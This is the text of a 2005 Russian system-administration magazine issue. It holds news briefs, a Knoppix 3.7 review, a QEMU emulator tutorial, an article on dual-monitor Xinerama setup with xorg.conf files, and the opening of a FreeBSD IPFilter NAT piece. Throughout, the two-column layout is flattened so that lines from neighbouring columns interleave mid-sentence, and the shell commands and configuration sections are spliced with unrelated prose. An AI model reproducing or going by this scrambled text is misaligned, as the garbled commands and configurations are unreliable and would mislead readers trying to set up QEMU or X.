Академический Документы
Профессиональный Документы
Культура Документы
2
тенденции
Изменения в нумерации Linux-ядра Главной проблемой информационной безопасности мно-
В начале марта было принято решение изменить нумерацию гих внешне благополучных предприятий, по мнению техни-
релизов Linux 2.6. «Реформа» призвана решить проблему с ческого директора Ашота Оганесяна, является отсутствие
задержками в исправлении проблем, найденных в Linux 2.6.x. контроля за перемещениями инсайдерской информации.
Они связаны с тем, что часто возникают ситуации, когда Такие почти бытовые устройства, как USB-диски, могут со-
предыдущее ядро нуждается в «заплатке», однако она мо- вершенно беспрепятственно подключаться к рабочим мес-
жет быть представлена только в следующем релизе, а про- там в обход традиционных систем ограничения доступа и
цесс тестирования новой стабильной версии Linux занимает создавать неучтенные пути как утечки информации, так и
значительный объем времени. Поэтому отныне доброволь- эмиссии вирусов. Этот пробел для платформы MS Windows
цами (первыми из них стали Грег Кроа-Хартман и Крис Райт) призвана закрыть программа DeviceLock. Её последняя вер-
будет осуществляться поддержка уже вышедших Linux-ядер сия с индексом 5.7 полностью интегрирована в Active Directory
2.6.x путем публикации патчей 2.6.x.y. Результат не заста- и может не только централизованно управляться через груп-
вил себя ждать: уже 4 марта представлено Linux-ядро повые политики, но и также централизованно и очень быс-
2.6.11.1, за которым вскоре последовали и новые патчи. тро разворачиваться на существующей сети. Программа
контролирует доступ ко всем USB-устройствам, включая
GNOME 2.10 и KDE 3.4 Bluetooth и WiFi, и интерфейсам FireWire. Кроме этого, воз-
Проекты двух популярнейших открытых графических обо- можен аудит файловых операций на отслеживаемых интер-
лочек для UNIX/Linux-систем представили свои новые рели- фейсах.В планах компании – развитие серверной состав-
зы: GNOME 2.10 и KDE 3.4. На последнюю редакцию GNOME, ляющей системы DeviceLock, что позволит не только управ-
которой, несмотря на существенный прогресс, решено было лять доступом, но и при необходимости дублировать все
присвоить версию 2.10, разработчики потратили около по- передаваемые через подконтрольные устройства файлы.
лугода, а ключевыми «пакетными» изменениями стали два Введение собственной системы шифрования в перспек-
приложения: видеоплейер Totem и утилита Sound Juicer для тиве решит проблему «потерянных брелоков».
конвертирования музыки с AudioCD в цифровой формат. Конечно, «Смарт Лайн Инк» не является софтверным
Главное достижение KDE 3.4 – система, воспроизводящая гигантом, но для IT изменение вектора развития таких ком-
текст голосом (TTSS), которая доступна как сама по себе паний с зарубежного рынка на отечественный равносиль-
(в приложении KSayIt), так и в интегрированной форме в но долгожданному «удвоению ВВП» в экономике.
Konqueror, Kate, KPDF. Среди прочих многочисленных из-
менений появление новой утилиты Akregator для работы с Алексей Барабанов
информацией в формате RSS, значительные улучшения в
движке KHTML, обновление «корзины» и панели Kicker.
АЛЕКСАНДР БАЙРАК
Knoppix – один из первых самозагружаемых (LiveCD) дист- Кому может оказаться полезным данный дистрибутив?
рибутивов Linux. В настоящий момент он же является и са- Да кому угодно, начиная от человека, решившего «попро-
мым популярным. В этом небольшом обзоре будет расска- бовать» Linux, но не знающего, с чего начать, и заканчивая
зано о Knoppix 3.7 Russian Edition от LinuxCenter.ru. системным администратором, для которого Knoppix может
4
администрирование
послужить «спасательной дискетой». Система полностью на выбор. Справедливости ради отмечу, что входящий в
автономна, вы можете использовать ее даже на компьюте- состав Fluxbox, русифицирован не до конца: кирилличес-
ре без жесткого диска. Тут я хочу заметить, что эта статья кие символы в меню отображаются некорректно. То же са-
была написана мной в Knoppix с использованием Open мое происходит и с Xfce. Любопытно, что если вы решите
Office.org Writer и KSnapshot. Что же входит в состав дист- покинуть графический интерфейс и выйти в голую консоль,
рибутива: ничего у вас не получится . По умолчанию система загру-
! рабочая среда KDE 3.3.0; жается на 5-м уровне запуска (runlevel). Для того чтобы по-
! офисный пакет OpenOffice.org 1.1.3; пасть в консоль, нужно выбрать 2-й или 3-й уровень.
! браузер Mozilla 1.7.3. Беглый взгляд на меню поражает многообразием при-
ложений, которые разработчики вместили в дистрибутив.
Само собой, это далеко не полный список. Я перечис- Памятуя о сформулированных выше задачах, рассмотрим
лил лишь основные, наиболее известные компоненты. некоторые из них более подробно.
По умолчанию используется ядро Linux версии 2.4.27.
Надо заметить, что в дистрибутиве присутствует и ядро из
ветки 2.6. Но, к сожалению, запустить его мне не удалось.
Knoppix сообщил при этом:
Could not find ramdisk image: minirf26.gz
6
администрирование
СЕРГЕЙ ЯРЕМЧУК
C увеличением вычислительной мощности настольных сис- запустив еще одну операционную систему, можно проверять
тем возрос интерес к различного рода эмуляциям. Причина работу приложений в различных средах, не перегружаясь по
ясна – теперь пользователь может работать с привычными нескольку раз в день, изучать взаимодействие, исследовать
приложениями в другой операционной системе, а то и вовсе неизвестное и, возможно, потенциально опасное программ-
запускать несколько копий операционных систем, создавая ное обеспечение, использовать специфические инструмен-
целые виртуальные сети на одном компьютере. Список пред- ты, организовать обучение с теми или иными программны-
ложений растет с каждым днем, появляются как свободные ми комплексами. Приложения, эмулирующие аппаратную
реализации, так и коммерческие приложения. Эмулируется среду, называют системными эмуляторами или виртуальны-
все, от игровых приставок и компьютеров давно ушедших ми машинами. Среди них наиболее популярны bochs (http://
дней до операционных систем или отдельных сервисов. Но, bochs.sourceforge.net) и VMWare (http://www.vmware.com).
судя по всему, наибольший интерес на сегодня представля- Первый, довольно мощный эмулятор, но с довольно неудоб-
ет эмуляция именно компьютеров, т.к. это более востребо- ным трудоемким и непонятным для новичка процессом на-
ванный продукт, особенно среди профессионалов. Теперь, стройки. Недостаток второго – цена, он является коммер-
8
администрирование
ческим продуктом. Есть еще, конечно, и Cooperative Linux – ! мышь PS/2 и клавиатура;
coLinux (http://www.colinux.org), позволяющий запускать ! 2 PCI IDE-интерфейса для жесткого диска и поддержку
ядро Linux как отдельный процесс в среде ОС Windows, но, CD-ROM;
как видите, он имеет ограничения и может подойти не для ! один гибкий диск;
всех ситуаций. Есть и другие проекты, имеющие свои осо- ! до 6 NE2000 PCI-сетевых карт;
бенности. Между тем сегодня доступен свободный продукт, ! до 4 последовательных (СОМ)-портов;
который наряду с большой функциональностью и скорос- ! вывод звука через Soundblaster 16-совместимую карту.
тью работы имеет относительно простые настройки и объе-
диняет в себе некоторые достоинства, доступные в отдель- Как видите, на данный момент виртуальная машина в
ных проектах. qemu не работает с USB- и SCSI-устройствами. Здесь он
QEMU (http://fabrice.bellard.free.fr/qemu/index.html) пред- пока, бесспорно, проигрывает VMWare.
ставляет собой Open Source-эмулятор, достигающий хоро- Все библиотеки и эмулятор распространяются в исход-
шей скорости эмуляции, используя динамическую трансля- ных текстах по GNU LGPL, исключение составляет только
цию кода, и способный эмулировать процессоры других ар- QEMU Accelerator Module, являющийся проприетарным про-
хитектур. Отличительной особенностью QEMU является дуктом и требующий согласия разработчиков при распрос-
наличие двух видов эмуляции: транении и коммерческом использовании.
! full system emulation, при которой создается виртуаль-
ная машина, имеющая свой процессор и различную пе- Установка QEMU
риферию, что позволяет запускать еще одну операци- Скомпилированная версия для GNU/Linux, исходные тексты
онную систему; и модуль QEMU Accelerator Module доступны на сайте про-
! User mode emulation, этот режим, реализованный толь- екта на странице Download. За версиями для Windows и Mac
ко для GNU/Linux, позволяет запускать на родном про- OS X необходимо идти на сайт Free Operating System Zoo –
цессоре программы, откомпилированные под другую FreeOSZoo (http://www.freeoszoo.org). На этих же сайтах вы
платформу. найдете и готовые образы свободных операционных сис-
тем для запуска при помощи QEMU. Размер архива неболь-
Опционально доступен QEMU Accelerator Module (KQEMU), шой, чуть меньше одного мегабайта. Установка из исход-
выполняющий часть кода напрямую на реальном процес- ных текстов происходит обычным образом. При написании
соре, минуя виртуальный, и таким образом оптимизируя вы- статьи использовался ASPLinux 10 Express.
полнение кода в full system emulation-режиме.
Установить QEMU можно на GNU/Linux, MS Windows # su
# tar zxvf qemu-0.6.1.tar.gz
всех версий начиная с Windows 3.11, BeOS 5 PE, FreeDOS # cd qemu-0.6.1
и MSDOS, Solaris, NetBSD, OS/2, Minix и некоторых других. # ./configure
# make
Полный список операционных систем, на которых протести- # make install
рована работа qemu с указанием особенностей, доступна в
документе «QEMU OS Support»: http://fabrice.bellard.free.fr/ После чего эмулятор можно запускать. Если набрать
qemu/ossupport.html. qemu без параметров, то будет выведен список опций. В
На момент написания статьи в качестве основной плат- общем случае строка запуска выглядит так:
формы могли использоваться компьютеры на базе x86- и
PowerPC-процессоров, на стадии тестирования находились qemu [options] [disk_image]
x86_64, Alpha, Sparc32, ARM и S390. В режиме full system
emulation пока полноценно эмулируется только x86-плат- Теперь для примера работы гостевой системы вставля-
форма, хотя уже доступны реализации x86_64, SPARC и ем загрузочный диск в CD-ROM и даем такую команду:
PowerPC, но они находятся в стадии тестирования. QEMU
Accelerator Module реализован пока только для Linux, хотя # qemu -cdrom /dev/cdrom
в будущем планируется также поддержка Windows, *BSD и Connected to host network interface: tun0
64 разрядных процессоров. В user mode список чуть боль-
ше x86, ARM, SPARC и PowerPC. Остальные платформы В результате откроется еще одно окно, в котором нач-
находятся пока на стадии тестирования, и при работе воз- нется процесс обычной загрузки системы. Если был встав-
можны сбои. лен диск с одним из LiveCD-дистрибутивов, то его тут же
Виртуальная машина i386-архитектуры, созданная при можно использовать обычным образом. Естественно, ско-
помощи qemu, получает в свое распоряжение следующий рость работы гостевой системы будет ниже, чем при запус-
набор виртуальных устройств: ке на реальной системе. Для того чтобы набирать данные в
! процессор такой же частоты, как и на основной системе, гостевой системе, нужно просто щелкнуть мышью в окне,
в многопроцессорной системе виртуальный компьютер выйти в основную систему можно, нажав <Ctrl+Alt>. В за-
получает в свое распоряжение только один процессор; висимости от установок родительской ОС может выскочить
! PC BIOS, используемый в проекте Bochs; сообщение о том, что qemu не может получить DNS-имя.
! материнская плата i440FX с PIIX3 PCI – ISA-мостом; Происходит это потому, что программа не может настроить
! видеокарта Cirrus CLGD 5446 PCI VGA или VGA карта с сеть с параметрами по умолчанию. Самым простым выхо-
Bochs VESA-расширениями; дом будет добавить опцию -dummy-net, активирующую под-
Имея готовый iso-образ, можно его проверить перед за- И запустив эмуляцию с такой опцией:
писью на диск (рис. 1).
# qemu -redir tcp:1234::23 -cdrom /dev/cdrom
# qemu -dummy-net -cdrom movix.iso
Получим возможность подключаться к telnet-порту на го-
По умолчанию qemu для поднятия виртуального сете- стевой системе.
вого tap/tun-интерфейса использует скрипт /etc/qemu-ifup,
если таковой не обнаруживается, то пытается использовать # telnet localhost 1234
параметр -user-net. В этом режиме запускается виртуаль-
ный межсетевой экран и DHCP-сервер, имеющий адрес Кроме готовых iso-образов, несомненным удобством яв-
10.0.2.2, виртуальный DNS-сервер (10.0.2.3) и SMB-сервер ляется возможность загрузить операционную систему, уже
(10.0.2.4). Клиент DHCP на виртуальном компьютере полу- установленную на жесткий диск. Например, на моем ком-
чает адрес в сети 10.0.2.x. В таком режиме с виртуальной пьютере не редкость две-три, а то и больше различных си-
машины пингуется только адрес 10.0.2.2, но напрямую в стем, так что теперь нет необходимости перезагружаться
Интернет с такими настройками выйти не получится, толь- каждый раз.
ко через перенаправление, о котором чуть позже. Например, такая команда запустит загрузчик Grub, ус-
тановленный у меня в MBR (рис. 2):
Ðèñóíîê 1
В простейшем случае скрипт /etc/qemu-ifup выглядит так:
#!/bin/sh
sudo /sbin/ifconfig $1 192.168.0.1
10
администрирование
Как говорилось выше, на сайте проекта имеются гото- # qemu-img convert –f cow cowimage.cow image.raw
вые образы различных операционных систем и архитектур.
Версии небольшого объема не всегда могут удовлетворять При этом может быть задан как входной, так и выход-
по функциональности, а архивы более 1 Гб тащить из Ин- ной формат образа, поддерживаются raw, qcow (удобен для
тернета накладно, поэтому лучше такой образ подготовить маленьких файлов, поддерживает шифрование и сжатие),
и самому, собрав в него самые необходимые приложения. cow, формат VMWare – vmdk и cloop (Linux Compressed Loop)
Для этих целей используется утилита qemu-img, при помо- для образов CD-ROM. Использовав команду info, можно
щи которой создается новый виртуальный жесткий диск. получить информацию о готовом образе.
В некоторых случаях может возникнуть необходимость
# qemu-img create linux.img 1500M в замене параметров загрузки Linux-системы, записанной
на виртуальный диск. Сделать это можно при помощи оп-
Хотя никто не мешает использовать для этих целей и dd. ций -kernel, -initrd и -append. Значения которых совпадают с
таковыми в конфигурационных файлах загрузчиков.
# dd of=hd.img bs=1024 seek=1048576 count=0
# qemu-fast -nographic -hda linux.img ↵
-kernel bzImage-2.4.21 -append "console=ttyS0 ↵
После того как такой жесткий диск создан, можно уста- root=/dev/hda sb=0x220,5,1,5 ide2=noprobe ide3=noprobe
навливать в него операционную систему. ide4=noprobe ide5=noprobe"
# qemu -hda linux.img -cdrom /dev/cdrom -boot d Для запуска команды qemu-fast потребуется первоначаль-
но изменить гостевое ядро, наложив патч linux-2.6-qemu-
В этом примере мы указываем qemu на то, что жесткий fast.patch, который можно найти в архиве с исходными тек-
диск находится в контейнере hdd.img, в качестве CD-ROM стами. Этот режим использует напрямую реальный Memory
устройства /dev/cdrom и загрузка будет происходить с CD- Management Unit (MMU) вместо эмулируемого при обычном
ROM (параметр -boot d). Последний параметр в нашем при- режиме работы qemu. Но с ним работайте осторожно, так
мере необходим, так как по умолчанию qemu будет загру- как основная и гостевая системы используют одно адресное
жаться с жесткого диска. Если нужно указать на загрузку с пространство, что может привести к проблемам безопасно-
дискеты, используется -boot а, с жесткого диска -boot с. сти или нарушению стабильности работы основной систе-
Естественно, никто не мешает вместо реального диска ис- мы. Кроме того, в режиме qemu-fast пока полноценно под-
пользовать его iso-образ. Но большинство дистрибутивов держивается не вся периферия. Поэтому при работе в Linux
распространяется не на одном, а на нескольких дисках, по- лучше использовать KQEMU. Но, скорее всего, скомпилиро-
этому необходимо дополнительное управление, которое ванный модуль, поставляемый вместе с архивом, у вас от-
обеспечивается при помощи опции -monitor, открывающей кажется работать, а в документации не сказано, под какую
терминал, в котором можно изменять параметры эмуляции, именно версию ядра он собирался, поэтому необходимо бу-
выбирать другое устройство, либо исходный файл. дет собрать модуль самому. Сделать это просто. Распако-
вываем архив в каталог с исходными текстами qemu.
# qemu -monitor stdio -hda linux.img ↵
-cdrom altlinux_cd1.iso -boot d # cd qemu-0.6.1
# tar zxvf /tmp/kqemu-0.6.2-1.tar.gz
И когда установятся пакеты с первого образа, заменя-
ем файл. После чего собираем qemu, как описано выше. Для ус-
пешной компиляции понадобятся исходники рабочего ядра.
# qemu change -cdrom altlinux_cd2.iso Работает KQEMU через устройство /dev/kqemu, которое
должно создаться самостоятельно. Если этого не произош-
После окончания процесса установки можно загружать- ло, сделайте сами.
ся с полученного образа.
# mknod /dev/kqemu c 250 0
# qemu linux.img # chmod 666 /dev/kqemu
# qemu-PPC ./qemu-tests/PPC/ls
Ðèñóíîê 5
Ðèñóíîê 3 Qemu представляет собой довольно мощное приложе-
Наработки проекта пришлись по вкусу многим, и как ре- ние, позволяющее эмулировать системы различных архи-
зультат появились проекты-сателлиты, позволяющие сде- тектур и запускать приложения, собранные под другие опе-
лать работу с qemu более удобной. Так, свои интерфейсы рационные системы. Конечно же, подобно прочим эмуля-
предлагают проекты KQEmu (http://kqemu.sourceforge.net, торам он не может выполнять приложения так же быстро,
рис. 4) под библиотеки Qt3 (стоит обратить внимание, что как это происходит на реальной системе, а по скорости он
название этого проекта совпадает с принятым сокращени- не отстает от проектов вроде Bochs. Но у последнего он
ем QEMU Accelerator Module). однозначно выигрывает по возможностям и удобству ра-
Запускается он несколько необычно. боты.
При этом если эмуляция используется эпизодически,
# kmdr-executor /home/sergej/work/kqemu-0.1/kqemu-0.1.kmdr время от времени, Qemu представляется мне более удоб-
ным, чем коммерческий VMWare, ключ к активации или срок
Или Qemu Launcher (http://emeitner.f2o.org/projects/qemu- использования бесплатной бета-версии, которого имеет
launcher) для сторонников GNOME/Gtk-приложений. привычку заканчиваться в самый неподходящий момент. К
Для пользователей Windows, вместо того чтобы вбивать тому же Qemu не требует предварительной настройки и
каждый раз параметры запуска, рекомендую использовать подготовки, а сам процесс от компиляции до запуска зани-
QGui (http://perso.wanadoo.es/comike, рис.5). мает минимум времени.
12
bugtraq
LINUX XINERAMA:
ОДИН МОНИТОР ХОРОШО, А МНОГО ЛУЧШЕ
ПАВЕЛ ЗАКЛЯКОВ
Данная статья рассказывает о подключении нескольких мо- новился. Смотреть на такой монитор было неудобно (уж
ниторов к компьютеру с установленной ОС Linux (RedHat очень большой), цена заоблачная, плюс не каждая видео-
Linux v.7.3, Fedora Core 3 и ASPLinux 10) и приводит рабо- карта могла поддерживать такую махину на максимальных
чие примеры конфигурационных файлов для оконной сре- видеорежимах. Специальная видеокарта стоила примерно
ды X-Window. столько же, сколько и монитор. По истечении некоторого
Сколько пользователю ни дай, а ему всё мало. Так и времени появились LCD- и TFT-панели. Если отбросить тех-
хочется сказать: «Таблеток от жадности и побольше, по- нологические особенности, то развитие TFT-технологий шло
больше...» Если лет 10 назад у пользователей в основном и идёт по тому же пути улучшения качества и увеличения
были 14" CGA- и EGA-модели мониторов и о большем, чем размера диагонали (как следствие – разрешения). Един-
VGA с разрешением 320 х 200 точек при 256 цветах или ственное небольшое отличие от пути развития CRT-техно-
640 х 480 при 16 цветах мечтать не приходилось, а боль- логий появилось из-за параллельного развития DVD-инду-
шие диагонали и разрешения встречались только в типог- стрии, которая породила новый сегмент рынка – домашние
рафиях и на графический станциях, то сейчас многие лю- кинотеатры, где нашли своё применение мониторы с диа-
бители могут за небольшие деньги приобрести такое, что гональю более 22".
не в каждой типографии есть. На сегодняшний день ситуация такова, что продвинутым
Вначале, после VGA стали появляться SVGA-мониторы, пользователям 17" мало, а 19" и выше – это дорого. Почув-
диагональ увеличились до 15". Качество и «плоскость» кар- ствовав данную ситуацию года четыре назад и учтя тот факт,
тинки улучшались. Потом были пройдены рубежи 17" и 19", что AGP-шина в компьютере только одна, многие фирмы ста-
вплоть до 22". После 22" рост на какое-то время приоста- ли производить dualhead-видеокарты. На сегодняшний день
14
администрирование
можно сказать, что лишь только самые дешёвые и урезан- EndSection
ные версии видеокарт имеют один видеовыход. Все же ос- Section "InputDevice"
тальные де факто имеют 2 видеовыхода. Количество людей, Identifier "Mouse0"
использующих мультидисплейные конфигурации в самых Driver "mouse"
Option "Device" "/dev/mouse"
различных областях, растёт [8]. Два видеовыхода – это да- Option "Protocol" "IMPS/2"
леко не предел, есть дорогие модели на 3 видеовыхода (вро- Option "Emulate3Buttons" "no"
Option "ZAxisMapping" "4 5"
де Matrox Parhelia 512 или P750) и даже больше [7]. EndSection
Пока производители видеокарт совершенствовали же- Section "InputDevice"
лезо и писали для него «хитрые» драйвера, разработчики Identifier "DevInputMice"
операционных систем не стояли в стороне, и начиная с Driver "mouse"
Option "Protocol" "IMPS/2"
Windows 98 появилась поддержка нескольких видеокарт Option "Device" "/dev/input/mice"
средствами ОС. Это позволило увеличивать площадь ра- Option "ZAxisMapping" "4 5"
Option "Emulate3Buttons" "no"
бочего стола только старыми аппаратными средствами. EndSection
Если железо и программы готовы, так почему бы не ис- Section "Monitor"
пользовать несколько мониторов для работы, особенно если DisplaySize 1024 768
площадь вашего компьютерного стола позволяет? Это ведь ModeLine "1024x768" 135.920 1024 1104 1216 ↵
1392 768 769 772 814 -hsync +vsync
очень удобно: в два-три раза больше видимая площадь при Identifier "Monitor0"
относительно малой стоимости. Конечно, есть и некоторые VendorName "Samsing"
ModelName "Samsung SyncMaster 700IFT (CSH780B*)"
неудобства – половина окна тут, половина окна там (на HorizSync 30.0 - 98.0
другом мониторе), но эта проблема частично решается спе- VertRefresh 50.0 - 160.0
Option "dpms"
циальным программным обеспечением, перемещающим EndSection
окна, вроде HydraVision под Windows. Именно по этому пути Section "Monitor"
я и пошёл. Моя история с настройкой началась, когда я со- DisplaySize 1024 768
всем недорого купил в 2001 году видеокарту RadeonVE, а ModeLine "1024x768" 135.920 1024 1104 1216 ↵
1392 768 769 772 814 -hsync +vsync
чуть позже, где-то через полгода, второй б/у монитор. Identifier "Monitor1"
Драйвера от ATI+HydraVision под NT4.0 работали на ура, VendorName "Samsung"
ModelName "SyncMaster 700IFT (CSH780B*)"
а вот под Red Hat Linux v.7.3 пришлось повозиться с настрой- HorizSync 30.0 - 98.0
кой. Второй монитор показывал копию первого, и оба рабо- VertRefresh 50.0 - 160.0
Option "dpms"
тали на 85 Гц вместо возможных 120 Гц. Мне же хотелось EndSection
под X иметь и подходящее разрешение, и частоту обновле- Section "Device"
ния, и один широкий рабочий стол вместо двух одинаковых. Identifier "Videocard0"
Долгие поиски в конце концов увенчались успехом. Из Driver "radeon"
VendorName "Videocard vendor"
нескольких документов (на сегодня сохранились лишь [1, 2]) BoardName "ATI Radeon VE"
был создан файл /etc/X11/XF86Config-4 следующего содер- BusID "AGP:1:5:0"
Screen 0
жания: EndSection
Section "Device"
Section "ServerLayout" Identifier "Videocard1"
Option "Xinerama" "on" Driver "radeon"
Identifier "Multi Head" VendorName "Videocard vendor"
Screen 0 "Screen0" 0 0 BoardName "ATI Radeon VE"
Screen 1 "Screen1" LeftOf "Screen0" BusID "AGP:1:5:0"
InputDevice "Mouse0" "CorePointer" Screen 1
InputDevice "Keyboard0" "CoreKeyboard" EndSection
InputDevice "DevInputMice" "AlwaysCore"
EndSection Section "Screen"
Identifier "Screen0"
Section "Files" Device "Videocard0"
RgbPath "/usr/X11R6/lib/X11/rgb" Monitor "Monitor0"
FontPath "unix/:7100" DefaultDepth 16
EndSection SubSection "Display"
Modes "1024x768"
Section "Module" Depth 16
Load "dbe" EndSubSection
Load "extmod" EndSection
Load "fbdevhw"
Load "glx" Section "Screen"
Load "record" Identifier "Screen1"
Load "freetype" Device "Videocard1"
Load "type1" Monitor "Monitor1"
Load "dri" DefaultDepth 16
EndSection SubSection "Display"
Depth 16
Section "InputDevice" Modes "1024x768"
Identifier "Keyboard0" EndSubSection
Driver "keyboard" EndSection
Option "XkbRules" "xfree86"
Option "XkbModel" "pc104" Это позволило в Red Hat Linux v.7.3 иметь один рабочий
Option "XkbLayout" "ru"
Option "XkbVariant" "winkeys" стол на два монитора с разрешением 2 х 1024 х 768 при
Option "XkbOptions" "grp:alt_shift_toggle" 120 Гц.
Fedora Core 3
В появившемся окне я выбрал нужный мне видеовыход Всё прекрасно работало где-то до марта 2005 года, когда
и нажал «Advanced timing options...». мне пришла в голову мысль на второй винчестер устано-
вить Linux Fedora Core3 c целью его изучения. Естествен-
но, после установки по умолчанию мои два монитора, как и
ранее в RedHat 7.3, показывали одно и то же.
«Разве это проблема?» – подумал я и полез в меню
«Приложения → Системные параметры → Дисплей» менять
настройки.
16
администрирование
Увы, это оказалось проблемой. Скрипт, осуществляю- Section "Monitor"
щий настройку, содержал ошибку и после выбора двух мо- Identifier "Monitor0"
VendorName "Samsung"
ниторов просто не позволял нажать кнопку «ok», ругаясь в ModelName "Samsung SyncMaster 700IFT (CSH780B*)"
текстовой консоли, из-под которой были запущены X. Ана- DisplaySize 1024 768
HorizSync 30.0 - 98.0
логичным образом нельзя было выбрать частоту обновле- VertRefresh 50.0 - 160.0
ния экрана более 85 Гц. ModeLine "1024x768" 135.9 1024 1104 1216 ↵
1392 768 769 772 814 -hsync +vsync
Пришлось перейти к ручному режиму. Недолго думая, я Option "dpms"
заменил новый файл /etc/X11/xorg.conf старым, проверен- EndSection
ным /etc/X11/XF86Config-4 (который можно видеть выше), Section "Device"
заменив в нём Identifier "Videocard0"
Driver "radeon"
VendorName "Videocard vendor"
Option "Device" "/dev/mouse" BoardName "ATI Radeon VE"
BusID "AGP:1:5:0"
Option "MonitorLayout" "CRT, CRT"
на Option "CRT2Position" "LeftOf"
Option "MergedFB" "yes"
EndSection
Option "Device" "/dev/input/mice"
Section "Screen"
Identifier "Screen0"
однако это не помогло делу. Пришлось прочитать «man Device "Videocard0"
Monitor "Monitor0"
radeon», после чего у меня получился следующий конфигу- DefaultDepth 24
рационный файл /etc/X11/xorg.conf для поддержки двух мо- SubSection "Display"
Depth 24
ниторов: Modes "1024x768" "800x600" "640x480"
EndSubSection
EndSection
Section "ServerLayout"
Identifier "dual head configuration"
Screen 0 "Screen0" 0 0 Замечание 4. Оба монитора у меня одинаковые, режи-
InputDevice "Mouse0" "CorePointer" мы работы тоже, поэтому как следствие строчки ModeLine
InputDevice "Keyboard0" "CoreKeyboard"
EndSection для них тоже одинаковые. На практике через меню монито-
ра проверено – видеорежимы выставлены правильно. Од-
#Section "ServerFlags"
# Option "Xinerama" "true" нако если посмотреть внимательнее, то ранее использова-
#EndSection лись две раздельные строчки ModeLine на каждый мони-
Section "Files" тор, что, на мой взгляд, правильнее. На данный момент для
RgbPath "/usr/X11R6/lib/X11/rgb" второго видеовыхода можно прописать только:
FontPath "unix/:7100"
EndSection
Option "CRT2HSync" "30.0-86.0"
Section "Module" Option "CRT2VRefresh" "50.0-120.0"
Load "dbe"
Load "extmod" Но проблемы это не решает, так как возможные диапа-
Load "fbdevhw"
Load "glx" зоны горизонтальной и вертикальной развёртки – это всё-
Load "record" таки не одно и то же, что и ModeLine. Каким способом мож-
Load "freetype"
Load "type1" но настроить видеовыходы одновременно на разные режи-
Load "dri" мы, пока не известно. Внимательное чтение «man radeon»
EndSection
и эксперименты с xorg.conf результата не дали.
Section "InputDevice" Замечание 5. Несмотря на замечание 4, был и положи-
Identifier "Keyboard0"
Driver "keyboard" тельный момент. Если ранее без включения Xinerama один
Option "XkbRules" "xfree86" рабочий стол не получался, то сейчас же рабочий стол по-
Option "XkbModel" "pc104"
Option "XkbLayout" "ru" лучался общим, а панели меню занимали лишь один мони-
Option "XkbVariant" "winkeys" тор, при этом разворачивание окна во весь экран шло толь-
Option "XkbOptions" "grp:alt_shift_toggle"
EndSection ко на один монитор, что мне показалось удобным. При этом
руками окно можно растянуть на два монитора. (Поведе-
Section "InputDevice"
Identifier "Mouse0" ние, аналогичное HydraVision.)
Driver "mouse" Если же строки:
Option "Device" "/dev/input/mice"
Option "Protocol" "IMPS/2"
Option "Emulate3Buttons" "no" #Section "ServerFlags"
Option "ZAxisMapping" "4 5" # Option "Xinerama" "true"
EndSection #EndSection
Section "InputDevice"
Identifier "DevInputMice" раскомментировать, то тогда панели меню получались на
Driver "mouse" оба экрана, окошки вылетали по половинкам посередине,
Option "Protocol" "IMPS/2"
Option "Device" "/dev/input/mice" а при разворачивании окна занимали площадь двух мони-
Option "ZAxisMapping" "4 5" торов. Удобства от такой работы меньше. Поэтому эти стро-
Option "Emulate3Buttons" "no"
EndSection ки я оставил закомментированными.
На этом можно было бы закончить статью, но...
18
администрирование
поэтому не важно, PCI или AGP вы там напишете, это нуж- Замечание 8. Всё написанное выше для Fedora Core 3
но для наглядности. справедливо для ASP Linux 10.
Замечание 6. Про несоответствие видеорежимов на Надеюсь, что настройка X через правку xorg.conf не по-
мониторах. При различных глубинах цветности на разных казалась вам сложной и при аналогичном подключении
мониторах X не запускаются. Например, если у вас одна нескольких мониторов в вашей конфигурации к одной или
карточка не поддерживает 24 бита цветности, а другая под- более видеокартам не вызовет проблем.
держивает, придётся снизить значение у последней. Если
разрешение на каком-то мониторе меньше, то создаётся Ссылки:
виртуальный рабочий стол большего размера. При подве- 1. Radeon VE Dual Display Support with Linux/XFree86: http://
дении курсора мыши к краю окна просмотра видимое поле www.polylith.com/~brendan/UnixBoxes/RadeonVE.html.
вместе с курсором начинает двигаться вплоть до противо- 2. Multiple Monitors with X Mini Guide: http://www.linux-
положной стороны виртуального экрана. lookup.com/modules.php?op=modload&name=Sections&file=
Замечание 7. Если режим Xinerama в последнем кон- index&req=viewarticle&artid=13&page=1.
фигурационном файле выключен, то пользователь видит 3. Настройка режима монитора в XFree86: http://www.inp.nsk.su/
два рабочих «меню программ» и два рабочих стола, не свя- ~buzykaev/xf_monitor.html, http://knot.pu.ru/faq/xfaq.html.
занных друг с другом. Фактически для пользователя мони- 4. Связь между полосой пропускания, частотой кадров и ча-
торы выглядят как два не связанных сеанса X. Единствен- стотой горизонтальной развертки: http://www.samsung.ru/
ная связь между которыми – это то, что пользователь мо- support/products/displays/faq/?id=114.
жет перемещать курсор мышки из одного монитора в дру- 5. Another Quick How-To for Dual-X-Headed/Legged Linux:
гой. Несмотря на то, что курсор свободно путешествует http://www.disjunkt.com/dualhead.
между рабочими столами разных видеокарт, окна и меню 6. Из архива сообщений Re: [K12OSN] 1PC+4KVM=4users/
перетащить нельзя. Создание скриншота рабочего стола PC: http://www.redhat.ru/archives/k12osn/2004-May/
для обоих частей работает раздельно. msg00260.html.
При включенном режиме Xinerama все три монитора 7. Matrox Graphics. Multi-display products: http://www.matrox.com/
рассматриваются как единый рабочий стол. Естественно, mga/multidisplay/product_chart.cfm.
скриншот снимается один со всей рабочей области. При 8. Welcome to the Multi-display community: http://www.matrox.com/
этом растянуть меню на все три монитора нельзя, а окна mga/multidisplay/md_testimonials.cfm.
можно. Либо меню находится на мониторе от S3 либо од- 9. Using Xinerama to MultiHead XFree86 V. 4.0+: http://
новременно на двух от Radeon. www.tldp.org/HOWTO/Xinerama-HOWTO/index.html.
СЕРГЕЙ СУПРУНОВ
В одной из предыдущих статей [1] было рассмотрено пост- Запуск фильтра можно выполнить из командной строки:
роение сервера NAT на основе FreeBSD и natd. Данная ста-
тья будет посвящена другому средству – модулю ipnat, вхо- # ipf -Fa -f /etc/ipf.rules
дящему в пакет IPFilter. Сам IPFilter уже рассматривался на
страницах журнала [2]. Ключ -Fa очищает все ранее заданные правила и заг-
Некоторые основополагающие моменты я повторю, что- ружает те, которые перечислены в конфигурационном фай-
бы сохранить целостность и самодостаточность этого ма- ле. Для автоматического запуска фильтра при перезагруз-
териала, а сосредоточимся мы именно на построении сер- ке добавьте опцию «ipfilter_enable = “YES”» в /etc/rc.conf.
вера NAT. Если поддержка фильтра не включалась в ядро, в списке
Во FreeBSD 5.3 IPFilter (ipf), входящий в состав систе- подгруженных модулей появится модуль ipl.ko.
